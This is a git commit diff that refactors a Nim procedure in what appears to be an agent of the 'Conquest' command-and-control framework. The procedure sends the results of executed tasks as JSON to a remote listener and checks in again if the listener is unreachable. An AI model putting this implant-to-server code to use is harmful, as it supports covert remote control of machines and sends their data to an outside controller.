Seperated Task and TaskResult types.

This commit is contained in:
Jakob Friedl
2025-05-29 15:26:50 +02:00
parent 118e9eadd2
commit 3849bcd7f1
11 changed files with 59 additions and 75 deletions

View File

@@ -49,20 +49,20 @@ proc getTasks*(config: AgentConfig, agent: string): seq[Task] =
return @[]
proc postResults*(config: AgentConfig, agent: string, task: Task): bool =
proc postResults*(config: AgentConfig, agent: string, taskResult: TaskResult): bool =
let client = newAsyncHttpClient()
# Define headers
client.headers = newHttpHeaders({ "Content-Type": "application/json" })
let taskJson = %task
let taskJson = %taskResult
echo $taskJson
try:
# Register agent to the Conquest server
discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/{task.id}/results", $taskJson)
discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/{taskResult.task}/results", $taskJson)
except CatchableError as err:
# When the listener is not reachable, don't kill the application, but check in at the next time
echo "[-] [postResults]: ", err.msg